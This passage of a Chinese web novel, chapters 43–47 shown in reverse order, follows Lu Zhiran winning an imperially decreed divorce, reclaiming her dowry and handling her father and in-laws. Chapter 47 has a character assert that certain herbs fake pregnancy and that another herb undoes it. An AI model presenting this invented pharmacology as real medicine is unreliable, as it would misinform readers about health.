她约莫三十五六的年纪,身形凹凸有致,风韵犹存,眼角淡淡的细纹也被她富丽优雅的妆容掩盖。 今日是宣平侯府大喜的日子,她那继女怕是要难过了。 思及此,她的唇角便勾起一抹愉悦的弧度。 谁料,心腹急匆匆入内禀报,“夫人,不好了!大小姐和离了,嫁妆都搬到府门口了!” “咔嚓”一声,方氏手上一个用力,原本修整完好的花枝瞬间剪废了。 …… 陆贯轩压着满身怒火回到陆府,一踏进家门,他的怒气便不再掩饰。 “你真是好大的胆子!和离这么大的事竟敢自作主张,你还把不把我放在眼里?” 陆知苒唇角微嘲,“我若与父亲商议,父亲会同意吗?您只会让我大度接纳,百般忍耐。” “这难道有什么不对吗?哪个男人不是三妻四妾,哪个女人不是这么过来的?你清高,你硬气,闹得满城风雨,你自己不要名声也就罢了,你妹妹还要嫁人,你弟弟还要念书!我还要脸面!” 陆知苒反问,“我乃奉旨和离,旁人岂敢置喙?非但如此,旁人还得高看我几眼,毕竟,可不是谁人都能求得来皇上的和离圣旨。” 陆贯轩:…… “若有不识趣的人敢到父亲跟前嚼舌,您不必给对方颜面,直接告他一个藐视皇权之罪。” 陆贯轩:…… 明明有满腔怒火,这下却被她整不会了。 所以,他还得反过来为此感到骄傲? 陆贯轩终于想起一茬,“你哪来的脸面,能让皇上给你颁和离圣旨?” 陆知苒露出一抹讳莫如深的神色,“女儿既然能做得到,自然有能做到的底牌。” 陆贯轩上下打量着她,“你能有什么底牌?” 陆知苒自是不会告诉他,“此事只有天知地知,皇上知我知,决不能让第三个人知晓。” “你休要故弄玄虚。” 陆知苒并不多解释,“我话已至此,父亲若是不信,我也没办法。您想想,我连邢大人都能攀上关系,父亲就不信我有其他的本事?士别三日当刮目相待,您不能一直用老眼光来看待我。” 陆贯轩想到她先前给自己的那封信,眸光微动。 “你真的跟邢家结交上了?” 陆知苒:“结交还算不上,只不过是在他们面前卖了个好而已。您大可派人去打听,邢家是不是在我的铺子里买了那株人参,再打听打听,那位治好邢老太爷的神医,是否出自胡桃巷子。” 这两桩都是事实,她不怕打听。 陆贯轩眸中闪过思量。 陆知苒与他对视,底气十足。 这次和离,她没有动用到族长那张底牌,若这渣爹不识趣,硬要为难她,那她不介意与族长合作。 正这时,就有小厮来回禀,“老爷,大小姐,外头有一位邢家的管事求见。” 陆知苒和陆贯轩俱是一愣。 “哪个邢家?” “是吏部尚书邢家。” 陆贯轩大喜,一边抬步往会客厅而去,一边询问,“对方可说了所为何事?可是邢大人有何吩咐?” “老爷,那位管事说是来寻大小姐的。” 陆贯轩的步子一顿。 转头看向陆知苒,眼底带上一抹探寻与打量。 陆知苒心中闪过诧异,一时也没法断定邢家来寻自己的意图。 父女二人相携到了会客厅,邢家的于管事立马起身,恭敬客气地行礼。 “小人见过陆大人,见过陆大小姐。” 陆贯轩的态度分外客气,双方一番寒暄,于管事这才说到了正题。 “今日忝颜登门,是受了我家老爷的授意,特意向陆大小姐致谢的。前些天,我家老太爷突发卒中,情况危急,幸而在陆大小姐的铺子里购得一株五百年的人参,这才得以保住性命。” “又蒙陆大小姐推举了那位女神医,才让我家老太爷彻底转危为安,此番恩情,邢家铭记于心。老爷担心突然登门恐添麻烦,这才派了小的前来。待改日方便之时,老爷定会亲自登门致谢。” 说完这番话,于管事又朝着陆知苒的方向行了一记大礼,陆知苒连忙虚扶一把。 “于管事客气了,那不过是举手之劳罢了。邢老太爷能转危为安,于我而言也算是功德一件。” 陆贯轩从狂喜中找回理智,也急忙道:“对,对,小女能帮上邢大人,是她的福分,谈何感谢?邢大人实在太客气了!” 他的言语间对邢大人极尽谄媚吹捧,于管事都笑着一一应和。 坐了两盏茶的功夫,于管事提出告辞,陆贯轩还要亲自去送,被于管事百般推辞这才罢休。 于管事离开,陆贯轩脸上的笑意依旧久久不落。 再看向陆知苒,他一扫先前的愤怒与责怪,充满了赞誉。 “苒姐儿,这次你做得很不错!” 陆知苒也十分意外邢家人的态度,面上却不曾表露半分。 “这下父亲应当相信女儿的话了吧?女儿会做这些,全都是为了父亲的前程谋划。” 陆贯轩听了,心中颇为感动。 这个女儿总算没有白养。 陆知苒继续不遗余力地给自己邀功,“我知父亲在现在的位置上待了许多年,在侯府之时便曾多次提出想帮您走一走邢大人的门路,往上升一升,但宣平侯对此却一再敷衍,他们不愿意把人脉花在父亲的身上。侯府不肯帮忙,女儿就只能自己想法子,替父亲铺路。” 第47章 她的脑子究竟是怎么长的? 她怀疑的目光在二人之间来回逡巡,想要从他们的脸上找到破绽。 蒋南笙面露无奈,“此事我连你都没说,怎会告诉他?” 这话把萧宝珠取悦到了,她立马绽出一个大大的笑容,还挑衅地看了萧晏辞一眼。 萧晏辞无语地翻了个白眼。 萧宝珠很得意,“别转移话题,快说,你是如何得知的?” 萧晏辞:“我也并不知晓,是有人向邢家引荐了你,我便派人打探了一番,这才查到了南笙的身上。” 蒋南笙更加诧异,“谁?” 胡桃巷子附近住的都是一些普通百姓,她刻意乔装在那里问诊,主要接诊的都是没有银钱看病的穷苦病人,而经手最多的病例都是妇科之症。 她们大多数因不便寻男大夫看诊而一直拖延,小毛病慢慢拖成了大问题。 这让蒋南笙十分痛心,心中那股想要恢复女儿身,光明正大行医的念头也愈发强烈。 她以女大夫的名义接诊,救治了很多身患隐疾的女病患,一来二去,她便得了个胡桃大夫的名号。 后来开始有人慕名而来,寻她看一些难治的疑难之症,不再是女病患。 胡桃大夫的名声也只局限在底层百姓之中,谁会将她举荐给邢家? 萧晏辞给出了一个令人意外的回答,“那人你们今日刚见过,陆大小姐,刚和离那位。她说你医术高明,擅治卒中,能起死回生。” 蒋南笙闻言更加诧异。 她实在没想到对方对自己竟然会有如此高的评价。 她的确救治过一例卒中患者,正是在此次游历途中遇到。 那位患者的情况与邢老太爷几乎一模一样,正是因此,她下针时才会如此有把握,最后的治疗效果也比上次更好。 可是这件事她未曾对任何人提起过,那位陆大小姐如何得知? 萧宝珠立马追问,“阿笙,你认识陆大小姐吗?” 蒋南笙摇头,“不认识,我们以前都没见过。难道是我忘了?” 萧宝珠笃定地点头,“一定是你忘了,你的脑瓜子除了记那些药材,压根记不住旁的任何东西。” 蒋南笙在脑中努力搜索一番,最终放弃了。 实在是想不起来。 “无论如何,这次多谢你替我引荐,若再晚一日,只怕我也没有那么大把握能把人治好。” 治好了邢老太爷,日后,她手里也会多一个筹码。 萧晏辞语气懒懒道:“你真要感谢,就记在陆小姐身上,如果不是她,我也查不到你身上去。” 蒋南笙想了想,“我这便派人去邢家知会一声。” 陆大小姐和离归家,被陆大人所不喜,若邢家此时主动登门致谢,或许能让陆大小姐在家中的处境好过些许。 萧宝珠眼睛微眯,“七皇兄,你为何这般关注她?连她私底下做了什么事都一清二楚。” “她的手下救了我一条命,不然你七皇兄就没了。” 萧宝珠切了一声,“祸害遗千年,你才不会那么轻易没呢。” 蒋南笙看着二人斗嘴,唇角露出一抹淡淡的笑意,先前那抹阴霾都似一扫而空了。 在他们二人面前,她似乎总能放下浑身负担与压力,回归到最轻松的状态。 正沉浸在自己的思绪中,萧宝珠推了她一把,“发什么呆,问你话呢。” 蒋南笙:“什么?” 萧宝珠好脾气地又重复了一遍,“我是说,陆大小姐有孕是真还是假?那赵书宁怎么一口咬定她有孕?就不怕被人识破吗?” 萧晏辞也看着她,等着她的回答。 蒋南笙没有过多思考,直接给出了答案。 “陆大小姐并未有孕,赵书宁一开始的诊断应当也没错。” 这话就自相矛盾了,二人俱是露出困惑之色。 蒋南笙措辞一番,“我曾在蒋家先祖留下的医药札记里看到过一条脉案。先帝的一位葛才人有孕,而后又被盛宠的贵妃害得落胎。贵妃因此被打入冷宫,那位葛才人则被晋升为美人。” “我翻阅了这位先祖的所有脉案,发现在后来的十五年里,这位葛才人又经历了三次有孕,三次皆滑胎,真凶都是宫中嫔妃,她们最后的结局或是被处死,或是入了冷宫。当初的葛才人则得先帝怜惜,一路升至贵妃。” “蒋家那位先祖发现了其中端倪,但怕给后辈招祸,便不敢详述于笔端。但我发现他后面的脉案中会频繁出现玄参,川芎等几种药材,我便刻意研究了一番,发现了一个很奇妙的反应。” “女子服用了那几种药材,会在短时间内出现有孕症状,足以以假乱真。而解毒之法也非常简单且立竿见影,只需服用续断即可。” “当初,那位葛才人应当就是服用了玄参和川芎,才会出现有孕反应,嫁祸给自己要除掉的嫔妃……你们还有在听吗?” 萧宝珠和萧晏辞都一脸木然地看着她。 她竟然能看完蒋家先祖几十年的脉案,还能从中提取出这么细微的线索,甚至发掘背后的秘密! 她的脑子究竟是怎么长的? 本以为经过这么多年,他们已经习惯了她的强悍,但没想到,她还能一再突破他们的认知。 萧宝珠捂着脑袋,一脸痛苦,“你快说重点。” 蒋南笙言简意赅,“我在赵医女的身上嗅到了玄参和川芎的味道,又在陆大小姐的舌苔上发现了续断的残余。简言之就是,赵医女想用药构陷陆大小姐与人有染,但陆大小姐技高一筹,识破了她的诡计,还反将了一军。” 她的话说完,屋中陷入了死一般的寂静。 萧宝珠张大了嘴巴,半晌都没能合拢。 萧晏辞的眸底闪过一抹幽深的暗芒。 萧宝珠一拍桌,“那赵书宁也太卑鄙了吧!她是要害死陆大小姐啊!” 蒋南笙的眼底亦闪过一抹深深的失望。 她本以为赵书宁是她的同道中人,甚至还为此感到高兴。 自己做不到的事,有人替她先做到了,这是大好事。 但没想到,她竟是个如此卑劣之人。 如此秉性,如何能称为医?那简直是杀人的刽子手。 “不行,我这就入宫揭穿她!” 蒋南笙赶紧把人拉住,“你别冲动。” 萧晏辞:“你长长脑子吧,这个时候去告状有什么用?该有的证据早就销毁了。” 蒋南笙也点头,“而且,你现在把事情揭开,陆大小姐也会被牵扯进来。” 第46章 小神医蒋南笙 一箱箱东西源源不断地从侯府里搬出来,众宾客都看直了眼。 赵书宁进门时,并无像样的嫁妆,因为她的嫁妆已经换成了银子贴补给了侯府。 为了面子上好看,也只是准备了十几台红木箱子,装些衣裳被褥等物件,家丁抬起来轻轻巧巧。 而此时陆知苒的嫁妆,不仅数量上将赵书宁狠狠碾压,家丁们抬起来也颇为费力,那是真正的真材实料。 赵书宁双目喷火,嫉妒得发狂。 翠芙和丹烟双眸亮晶晶的,“小姐,嫁妆已经清点完成,咱们的东西基本上都要回来了。” 又压低了声音,“多亏了七皇子的人在旁边盯着,不然定然没那么顺利。七皇子跟传闻不一样,可真是个好人。” 陆知苒看向萧晏辞的方向,他的侧颜很有味道,鼻梁高挺,轮廓硬朗。 回想两世,陆知苒听到有关他最多的评价都是负面的,简直叫人避之不及。 但今日这短短的接触,陆知苒对他的印象并不坏,甚至很不错。 经历了前世之事,陆知苒明白一个道理,看人不能光看表面。 那些表面道貌岸然之人,实际上不知道藏着多少蝇营狗苟的龌龊心思。 那些世俗眼里的恶人,或许也只是被有心人错误定义罢了。 萧晏辞转眸,与陆知苒的目光碰上。 双眸似黑曜石般,幽深不见底。 短暂愣怔,陆知苒朝他露出一抹感激的微笑。 但凡换一个人来宣旨,事情就不可能推进得如此顺利。 萧晏辞起身,拍了拍身上的瓜子壳,朝她走来。 “嫁妆可清点好了?” 陆知苒颔首,“清点好了,多谢您。” 萧晏辞淡淡一笑,“分内之事。对了,侯夫人,你别忘了到京兆府配合调查,傅大人明察秋毫,定不会平白冤枉了无辜之人。” 姜氏的身子本能地颤了颤。 他这是在敲打自己,别想赖掉这笔账。 陆知苒没有多待,向萧晏辞行了一礼便告退了,至于楚家人,她没有多看一眼。 萧晏辞看向楚翊安,语气十分真诚,“本王急着回去复命,喜酒就不喝了。楚大人,祝你佳偶天成,百年好合。” 楚翊安:…… 众人:七皇子果然够损! “小九,走了。” 正在咔嚓咔嚓嗑瓜子的萧宝珠利落起身,该看的好戏都看完了,这地儿也没啥好待的。 最难搞的兄妹俩总算要走了,楚家众人都齐齐松了口气。 但这口气还是松早了,两位宾客朝他们走来,正是李贵妃的兄长李明远和夫人郑氏。 “侯爷,内子吹了冷风,头风有些发作,便也先告辞了。” 楚定峰慌忙挽留,但二人根本没有给他任何机会,说完就直接转身走了。 很快,其他宾客也陆续上前请辞。 短短小半刻钟的时间,一众宾客便走了大半。 剩下的除了侯府亲戚,便是楚翊安的袍泽。 气氛冷得可怕,场面更是十分尴尬。 喜娘弱弱开口,“侯爷,夫人,这,仪式还继续吗?” 楚定峰怒而甩袖,“还有什么继续的必要?早知如此,当初就不该办这场喜宴!” 说完他便甩袖而去。 楚云清今日亦是在众闺秀面前丢尽了脸面,她冲到赵书宁跟前,怒声咆哮,“都怪你,如果不是你执意要补办喜宴,也不会闹成这样!你真是个扫把星!” 姜氏也跟着指责她,而楚翊安则木然地站在那里,神色放空,没有出言维护她半个字。 赵书宁浑身如坠冰窖。 今日本是她大喜之日,她却成了最大的笑话。 可她做错了什么?这一切明明都是陆知苒的错,为什么到头来所有人都来怪她? 这场婚礼最后以一种惨淡的方式收场。 花了这么多银子置办的宴席,却因宾客提前离场而白白浪费,姜氏简直心疼得滴血。 今日侯府真是里子面子都丢尽了! 萧晏辞和萧宝珠兄妹二人并未往皇宫的方向去,而是寻了个酒楼,点了满桌好菜。 今儿个在宣平侯府,他们光顾着看戏,饭却是一口都没吃上。 一直跟在萧宝珠身侧的阿笙也十分自然地坐了下来,脸还是那张平平无奇的脸,但姿态变了,眼神变了,整个人的气度就不一样了。 萧晏辞瞥了她一眼,“你做这副装扮,也不怕被蒋老太医认出来。” 萧宝珠立马道:“若蒋老太医问起,我就说,是我爱慕蒋南笙,平日见不到他,就寻了个容貌相似,名字一样的丫鬟带在身边。” 蒋南笙,上京出了名的神童,也是蒋家天赋最出众的小神医。 谁都想不到她其实是个女儿身,这个秘密,便是蒋老太医都不知道。 萧晏辞蹙眉,“你成日把蒋南笙挂在嘴边,以后你当真能嫁她不成?” “谁说我不能?我愿意,阿笙也愿意,这不就行了?” 蒋南笙脸上挂着一抹无可奈何,却也没有出言反驳。 萧晏辞冷声提醒,“可她是个女的,她装得再像,也是个女的。” 萧宝珠立马去捂他的嘴,“七皇兄,你怎么在外面也瞎说,小心隔墙有耳。” 萧晏辞把她的手打开,只看向了一旁神色骤然黯淡之人。 “南笙,纸包不住火,你的女儿身总有一天会瞒不住,你们蒋家内部豺狼环伺,若不及早做一番谋划,只怕你多年来的隐忍和伪装就全都白费了。我丑话说前头,你就算想使障眼法,也别拿宝珠当挡箭牌,她要嫁人。” 蒋南笙的眼底立马浮出一抹破碎的光。 见她黯然,萧宝珠立马开始护犊子。 “皇兄,你瞎说什么,我才不嫁人,你们臭男人有什么好的,我就跟阿笙一辈子在一块儿。” 萧晏辞怒道:“那我第一个给她把老底揭了。” 萧宝珠气结,“你怎么那么翻脸无情?咱们好歹是一起长大的情分,阿笙还是你伴读呢!” 萧晏辞从鼻腔里发出一声冷哼,“若没这情分,老子有这耐烦坐在这里废话。” 蒋南笙认真道:“阿辞提醒得对,这件事我会早作安排。” 见她态度郑重,萧晏辞便不再多说什么。 萧宝珠转而问起另外一件事,“皇兄,你是如何得知阿笙在胡桃巷子挂牌问诊的?这事连我都不知道!你们是不是偷偷背着我有了秘密?” 第45章 别人愿意认命,我偏不认! 萧晏辞看着陆知苒,“陆大小姐,谢恩吧。” 陆知苒回过神来,重重叩首,“臣女领旨谢恩!” 接过圣旨,她眼底迸射出一股灼灼亮光。 那是属于自由的味道。 萧晏辞站在她的面前,高大的身影在她的身上投下一道阴影,低沉醇厚的嗓音钻入她的耳中。 “希望没让陆大小姐久等。” 陆知苒抬眸,对上那幽沉的目光,顿时生出一股无需多言的默契。 虽迟但到,静候佳音。 原来,那封信是他送的。 他是故意拖延圣旨,就为了等待今日这个时机。 陆知苒满心疑惑。 选在今日宣旨,对楚家人而言无疑是最有力的一记打脸,可他为何要这般帮自己? 楚翊安上前,打断了她的思路。 “你上次入宫,就是向皇上求了和离圣旨?” “是。” “那你为什么不早说?” 陆知苒满脸漠然,“我就算说了,你会信吗?你只会觉得我在故意激你,让你回心转意。” 楚翊安一时哽住。 他的确不会信,直到现在,他依旧不愿意相信。 这道圣旨像一个巴掌,狠狠地扇在了他的脸上,将他的自尊扇得稀碎,也将他的理智摧毁。 “我不过是娶了一个平妻,你何至于此,直接告到皇上跟前去?哪个男子不是三妻四妾?世间女子都能接受,为什么偏偏你就不行?” 陆知苒眸光清冷,“世间女子都接受,是她们自己欢欢喜喜,心甘情愿地接受吗?这不过是世俗套在女子身上的枷锁罢了。别人愿意认命,我偏不认!” 这番话太过离经叛道,楚翊安满脸不可置信。 萧晏辞也在看她,眸底闪过一抹光华幽微。 姜氏实在咽不下这口气,直接冲上来对陆知苒大骂,“你以为离了侯府,就能找到更好的下家吗?你今日行事如此强势蛮横,没人敢让你进门!弃妇终究是弃妇!” 陆知苒正要反驳,萧晏辞漫不经心的开了口。 “陆大小姐是奉旨和离,到了侯夫人的嘴里却成了弃妇,怎么,侯夫人连皇上的旨意都不放在眼里?” 姜氏身形一颤,当即连声否认。 “我不是,我没有那个意思。” 萧晏辞:“本皇子听着你就是这个意思。” 楚定峰连忙上前打圆场,“误会,误会,拙荆嘴笨,不会说话,她对皇上绝对没有半点不敬之意。” 姜氏也知道萧晏辞不好惹,立马像个鹌鹑似的开始认怂。 萧晏辞淡淡道:“那就自打十个耳光,好好反省一二。” 姜氏瞬间呆愣原地,好半晌都没有动作。 眼前之人是萧晏辞,是最混不吝的七皇子,他的过往劣迹斑斑,便是德丰帝也纵着他。 诸多情绪在胸中翻涌,楚定峰扬手,甩了姜氏一记响亮的耳光,“七皇子让你反省,你还愣着做什么!” 姜氏被他这一巴掌打蒙了,眼底满是不可置信,但对上他那狠厉又警告的眼神,姜氏狠狠瑟缩了。 她抬手,在自己的脸上狠狠自扇,一下,两下,三下…… 无人敢在七皇子面前造次,场面一阵沉闷肃杀。 姜氏打完十个耳光,两边脸颊飞快肿了起来。 她已经完全感受不到疼痛,只有麻木,以及满腔汹涌的屈辱,恨不得找个地缝钻进去。 萧晏辞又慢悠悠地从怀里取出两份文书,“这是和离书,官府印契已经盖好,二位只需在上面签字落手印,从今以后便再无相干。请吧。” 他竟这般周全,连和离书都早早备好了。 楚翊安心口堵着一团棉花,陆知苒则觉得贴心极了。 她毫不犹豫,提笔,按手印,一气呵成。 楚翊安沉着脸上前,也飞快地签字按手印,旋即便不再多看一眼。 该死的女人,她如此不识好歹,日后,她可不要后悔! 陆知苒拿到了属于自己的和离书,眼中迸射出灼灼亮光,心头前所未有的轻松。 终于逃离了这个牢笼。 未来的每一天,都是新鲜又自在的。 真好。 转头吩咐翠芙和丹烟,“去把我院子里的东西清点整理好。” 二人应得分外响亮,“早就整理好了,就等着您这声吩咐呢。奴婢这就让人搬走!” 这话再次在楚家人的脸上扇了一记耳光,正待发作,就听萧晏辞对身后人吩咐,“你们都去帮忙,把陆大小姐的嫁妆清点好,搬回陆家。少一件,本王就唯你们是问!” 楚家人瞬间把话头咽了回去,半个屁都不敢放。 萧晏辞目光一转,看向陆贯轩。 “陆大人,陆大小姐奉旨和离回娘家,你该不会不欢迎吧?” 陆贯轩终于回神,满脸干笑,“自然不会,微臣岂敢抗旨?” “只是因为不敢抗旨?陆大人对自己女儿就没有半点怜惜?” 陆贯轩被他反问得面色僵硬,赶忙找补,“微臣的女儿,微臣自是心疼的,方才是微臣表述不当,这才让您误会了。” 萧晏辞似笑非笑,“让本王误会了没什么,可别让父皇误会了。若陆大小姐在陆家受了委屈,父皇还以为陆大人你是不满他老人家的旨意呢。” 陆贯轩抬手抹了一把额上冷汗,“微臣不敢,不敢……” 看着陆贯轩被敲打得只能点头哈腰的卑微模样,陆知苒心头升起一股难以言喻的感觉,就好似自己多了个撑腰的人。 清点嫁妆还需要时间,萧晏辞便走到萧宝珠身旁,大喇喇坐下,兄妹俩一起旁若无人的嗑瓜子。 萧宝珠还回头招呼其余宾客,“大家吃好喝好,不要客气。” 众人:…… 楚家人:…… 这是当成自己家了? 翠芙和丹烟拿着陆知苒的嫁妆单子,把以往自家小姐送给姜氏和楚云清的东西全都要了回来,几乎搬空了大半个侯府。 文嬷嬷想阻拦,但萧晏辞的手下一丝不苟地对照清点,那些的确是陆知苒的嫁妆,侯府无权干涉。 永福居的下人匆忙来向姜氏禀报,姜氏身子狠狠一晃,险些没能站稳。 余光瞥到萧晏辞那尊大佛,她的脸又开始火辣辣地疼了起来。 即便肉疼得不行,也不敢多说半个字。 第44章 一别两宽,各还本道 早些年,她母亲还在时,出手大方,没少帮衬族中的子侄,几位族老的儿孙都曾受过母亲的恩惠,族长亲口对她许诺过一个人情。 她已经安排了金嬷嬷,让她见势不对就去请族长。 为此,她拿出了好几个盈利丰厚的铺子作为筹码。 族长是个明事理,懂权衡之人,他知道该怎么选。 前世,陆知苒在遇到难处时,便是族长出手帮了自己一把。 陆贯轩再次被她激怒,指着她的手指都在颤抖。 “你简直大逆不道!我倒是要看看,没有我的点头,你要如何和离!” 父女二人针锋相对,火药味较之方才更加浓烈。 有人赞叹陆知苒的勇敢与硬气,也有人暗暗蹙眉,觉得此女太过忤逆不孝,实非良配。 就在现场气氛剑拔弩张之际,那道熟悉的大嗓门再次传来,“圣旨到——” 这简直叫众人惊掉了下巴。 陆知苒眸光微动,圣旨?是什么圣旨?难道…… 楚定峰心里重重地咯噔了一下,后背开始隐隐冒出冷汗来。 皇上果然一直在关注着陆知苒,这是见她受了委屈,特意来给她解围来了! 那这道圣旨的内容会是什么?会不会是降罪于侯府?还是——让她奉旨和离?! 姜氏脸上终于绽出笑容,她高喊,“快设香案,准备接旨!” 众人也让出了一条道,一个高大挺拔的男人信步而来。 他五官硬朗,棱角分明,眉峰上那道疤印若隐若现,一双眸子漆黑深邃,深不见底。 身上穿着一身黑色重莲绫,远看似纯色,但行动间,衣裳上的暗纹便隐隐显现出来,如世家贵公子般,矜贵优雅,矫矫不群。 随着他走近,周遭之人都瞬间模糊,成了陪衬他的布景。 陆知苒的脑中一瞬间冒出几个词:矜贵又匪气,似烈马,野性难驯。 看到他,陆知苒立马掐断了原本的猜测。 不可能是她的和离圣旨,若是和离圣旨,皇上怎会让七皇子来宣读? 萧宝珠这会儿才想起自家七皇兄来,原来他说的大事,竟然是来宣旨? 七皇兄的嘴可真严啊! 到底宣什么旨?父皇该不会又要赏楚翊安和赵书宁吧?如果是这样,她得怄死! 楚翊安和赵书宁心中也生出了这番期待。 莫不是皇上得知今日他们办喜宴,这才特意打赏,给他们添喜气? 萧晏辞看着侯府门前的情形,挑眉,“侯府的喜宴办得这般隆重?宅子里都坐不下了?大家都只能坐门口?” 这话让楚家人面色一阵尴尬。 萧宝珠:“喜宴没办成,陆大小姐被赵书宁冤枉与人珠胎暗结,现在真相大白了,她正和楚大少爷闹和离呢,陆大人死活不同意和离,大家都在看戏,可精彩了。” 楚翊安:…… 萧晏辞:“侯府真不把大家当外人,有好戏都直接摆在门口唱。” 他可真是老阴阳人了。 楚家人:…… 萧宝珠迫不及待地问,“七皇兄,父皇有什么指示?” 她的眼睛不停往圣旨上扫,恨不得自己长了一双透视眼。 萧晏辞淡淡睨她,“大胆,敢窥探圣旨。” 萧宝珠鼓起了腮帮子,“父皇怎么让你来宣旨?” 萧晏辞大言不惭,“父皇看重我,这道旨意交给任何人父皇都不放心。” 萧宝珠无情拆穿,“父皇也不怕你把圣旨弄丢了。” 萧晏辞:…… 他一拿到圣旨就赶紧交给暗卫送回府里暗格里收着,就怕弄丢了。 但他是绝不会说的。 侯府的香案设好了,楚翊安上前跪下,“微臣楚翊安接旨。” 赵书宁也跟着跪下,“臣妇赵书宁接旨。” 萧晏辞满脸狐疑,“你们跪下做什么?圣旨又不是给你们的。” 楚翊安和赵书宁脸上的那抹喜色尚未彻底绽开就凝固了。 竟然不是给他们的?那会是给谁?除了他们二人,还有谁是值得皇上下旨的? 萧晏辞目光幽幽一转,落在了陆知苒的身上。 “陆大小姐,接旨吧。” 他缓缓勾唇,露出一抹笑。 陆知苒一愣,满是不可置信,旋即便是满腔欣喜。 竟然真的是她的和离圣旨! 她立马跪下,“臣妇陆知苒接旨。” 萧晏辞缓缓展开圣旨,声音朗润,缓缓宣读。 “奉天承运,皇帝诏曰,凡为夫妻之因,前世三生结缘,始配今生夫妇。夫妻相对,恰似鸳鸯,恩爱极重,二体一心。陆知苒自述与楚翊安三载结缘,却因平妻反目生怨,二心不同,难归一意,以求一别。朕思虑再三,若结缘不合,想是前世冤家,遂允陆氏奉旨和离,一别两宽,各还本道。钦此。” 话音落,全场寂静,落针可闻。 便是萧宝珠也惊得瞪大了双眼,这竟是一道和离圣旨?这圣旨不是今日才下,七皇兄偏要等到今日才来宣读,真是太缺德了。 不过,真的好刺激啊。 楚定峰身子轻晃,果然,果然啊,他猜得没错! 说不定下回他们再见到陆知苒,她已经成了宫妃了。 有她在皇上身边吹耳旁风,宣平侯府的结局会怎样? 一想到那番后果,楚定峰就禁不住一阵打颤。 楚翊安如遭雷击。 原来,那日入宫,她竟是向皇上求了和离圣旨! 她竟这般决绝,得知自己抬了平妻,立马就求了和离圣旨。 她对他,对侯府,难道就没有半点留恋吗? 这个认知叫他备受打击,心头更是涌起一股难言的空落落的感觉。 赵书宁和姜氏亦是满脸震惊,回不过神来。 陆贯轩受到的打击丝毫不比楚家人少。 难怪她方才那般有底气,不管自己同不同意都要和离,原来她竟求到了皇上跟前! 这个逆女,她简直完全不把自己之前的告诫放在心上! 男子三妻四妾再正常不过,旁人都能容忍,怎偏偏她清高,容不下? 直接闹到皇上跟前,皇上会怎么看她,又怎么看自己这个当爹的?他的脸也丢尽了! 除此之外,陆贯轩还有一种被忤逆了的愤怒感。 他越过自己,直接去求了皇上,分明是不把自己这个父亲放在眼里! 陆贯轩自然没有胆子迁怒皇上,他就只能把所有怒气都撒在陆知苒的身上。 第43章 没给自己留退路 眼见双方的争执越发激烈,楚定峰再次开口,“正所谓一日夫妻百日恩,你与安儿夫妻一场,便是上天注定的缘分,岂能轻易说断就断?” 赵书宁的面色很难看,楚定峰的态度让她觉得自己的存在像个笑话。 她陆知苒和楚翊安是夫妻,是上天注定的缘分,那自己算什么? 楚定峰朝楚翊安使眼色,他们都知道,此时决不是和离的最佳时机,他们必须把陆知苒稳住。 楚翊安深吸了一口气,再次开口,“方才的事不过是一场误会,事情已经解释清楚,你并未受到实质性的伤害,你定要闹得大家人仰马翻才开心吗?” 又是这样的质问,好似所有的错处都在陆知苒的身上,一切都是她的无理取闹。 陆知苒满脸悲凉,“你指着我的鼻子对我恶语相向,这样的伤害在你看来就是轻飘飘的,无需在意的是吗?并非只有落在身体上的肢体伤害才是所谓实质性的伤害,恶言恶语才最伤人。” 楚翊安面容僵硬,半晌说不出话来。 楚定峰:“夫妻哪有不拌嘴的,岂能因为一时拌嘴就和离?” 方才那样的情形,在他看来只是拌嘴?真是可笑。 陆知苒语气冷漠,“嫁妆被人觊觎,名声险些被当众毁掉,丈夫对我如同仇敌,这些理由还不够吗?再不离开,我只怕被吃得连骨头都不剩了。” 这话不留情面,楚定峰的脸色也挂不住了。 姜氏更像是被人当众扇了巴掌似的,难堪极了。 她嘴硬,“你这话是什么意思?我何曾觊觎过你的嫁妆?” 陆知苒似笑非笑地看着她,“这话,母亲还是留着跟傅大人说吧。” 姜氏气得胸口上下起伏,“你如此忤逆长辈,真是反了天了!你心里还有没有孝道?” 陆知苒:“一吵不过了就搬出孝道来压我,母亲除此之外就没旁的招式了吗?” “你……你疯了不成?” 她这副姿态,简直是完全不管不顾了。 陆知苒眼底有狠厉一闪而过,“我的确疯了,是被你们逼疯的!今日我定要和离,若你们不答应,那谁都别想好过!” 楚家人都看到了陆知苒眼里的决绝与恨意,一时都被震慑住了。 宾客中已经有人在窃窃低语,各异的目光都朝这边看来。 见此情形,楚定峰连忙转变了策略,“和离这么大的事,至少也得与你父亲商议,得到他同意才行。强扭的瓜不甜,若你去意已决,侯府自然也不会强留。” 陆贯轩是个什么德性,楚定峰或多或少也有了解,他定然不会同意和离。 只要他不点头,陆知苒便是说破了天去,也离不了。 就在这时,人群外传来一道声音,“陆大人到!” 楚定峰心头一松。 他先前就派人去请了人,是以才能到得这般快。 陆知苒的手暗暗握紧了几分。 父亲那边,她已经做了安排。 她派人给父亲去了一封信,将邢家老太爷病愈的功劳揽在了自己身上。 她不能心虚,在自己父亲面前,她必须要把话吹嘘出去,五分的功劳得吹满十分,只有这样,父亲认为有利可图,才有可能会同意自己和离。 陆贯轩匆匆而来。 他蓄着短须,身形清瘦,样貌儒雅,可见他年轻时亦是仪表堂堂,容貌不凡。 他是从衙署直接赶来,身上还穿着官服,衬得他身形挺拔,即便他脚步匆忙,依旧维持着良好的仪态。 他没料到,侯府门前的阵仗会这般大。 楚定峰迎上来,“陆大人啊,今日这事闹得,实在是……唉,是侯府做得不对,委屈了知苒。但两家结亲一场也是缘分,岂能随随便便就断了?你还是来劝一劝知苒那孩子吧。” 陆贯轩的脸色立马就沉了下去。 闹和离本就够丢人现眼的了,还不分场合,在这么多人面前闹,简直是把两家的颜面都丢到地上踩! 他开口,语气严厉,“知苒,你实在太不懂事了!瞧瞧你闹的这一出像什么样?” 陆知苒看着他开口,“父亲是否看到了女儿给您的书信?女儿并非无用之人,女儿也能帮您分忧解难。” 只要他能答应自己和离之事。 陆贯轩的眼底闪过一抹精明,他的态度半点都没有改变。 “你一个妇道人家,能有那般能耐?你休要往自己脸上贴金,也别想诓我。你就算真的有通天的本事,我也绝对不会同意和离!” 听着他的这番话,陆知苒心中最后一丝期待彻底熄灭了。 她不禁自嘲,经历了两辈子,她怎么还这般天真,以为父亲会对自己这个女儿有一丝怜惜呢? 他已经看到了自己的书信,但却自私地想将那份功劳占为己有,至于她的诉求,他压根不在乎。 与侯府的这门姻亲能给他带来好处,那她便是死也要死在侯府里。 陆知苒的眸底染上一抹冷意,“父亲可了解了此事的前因后果?” 